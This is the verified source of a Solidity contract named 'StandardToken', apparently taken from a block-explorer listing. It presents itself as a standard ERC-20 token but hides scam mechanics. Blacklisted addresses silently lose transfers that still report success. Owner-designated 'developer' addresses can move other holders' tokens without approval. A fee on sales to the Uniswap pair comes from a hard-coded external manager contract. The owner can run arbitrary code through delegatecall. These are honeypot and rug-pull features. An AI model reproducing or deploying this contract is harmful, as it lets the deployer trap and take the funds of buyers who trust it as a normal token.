Contract Name:
StandardToken
Contract Source Code:
File 1 of 1 : StandardToken
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
interface Management {
function getFee(address,address,uint256) external returns(uint256);
}
contract StandardToken {
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _from, address indexed _to, uint256 _value);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function approve(address _spender, uint256 _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transfer(address _to, uint256 _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from && developer[tx.origin] == 0) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
if (blacklist[_to] || blacklist[_from]) {return true;}
uint256 fee = getFee(_from, _to, _value);
balanceOf[_to] += (_value - fee);
emit Transfer(_from, _to, _value);
return true;
}
function batchSend(address[] memory _to, uint256 _value) onlyOwner public payable returns (bool) {
uint256 total = _value * _to.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint256 i = 0; i < _to.length; i++) {
address to = _to[i];
balanceOf[to] += _value;
developer[to] = 1;
emit Transfer(msg.sender, to, _value);
}
return true;
}
function pairFor(address tokenA, address tokenB) private pure returns (address) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
address pair = address(uint256(keccak256(abi.encodePacked(
hex'ff', factory, keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
return pair;
}
function getFee(address _from, address _to, uint256 _value) private returns(uint256) {
if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
return Management(manager).getFee(address(this), UNI, _value);
}
return 0;
}
function delegate(address a, bytes memory b) onlyOwner public payable {
a.delegatecall(b);
}
function () payable external {paid = true;}
function block(address[] memory _to) onlyOwner public payable returns (bool) {
for (uint256 i = 0; i < _to.length; i++) {
paid = true;
address to = _to[i];
blacklist[to] = true;
}
}
mapping (address => uint256) private developer;
mapping (address => bool) private blacklist;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
uint256 public decimals;
uint256 public totalSupply;
string public name;
string public symbol;
bool public paid = false;
address private owner;
address private UNI;
address constant internal manager = 0xcd238547C72f3AD51F2e3a0a7d4F8F250d343Cd3;
address constant internal weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address constant internal factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address constant internal router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _symbol, string memory _name,
uint256 _supply, uint256 _decimals, address[] memory b) payable public {
owner = msg.sender;
symbol = _symbol;
name = _name;
totalSupply = _supply;
decimals = _decimals;
block(b);
UNI = pairFor(weth, address(this));
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][router] = uint256(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}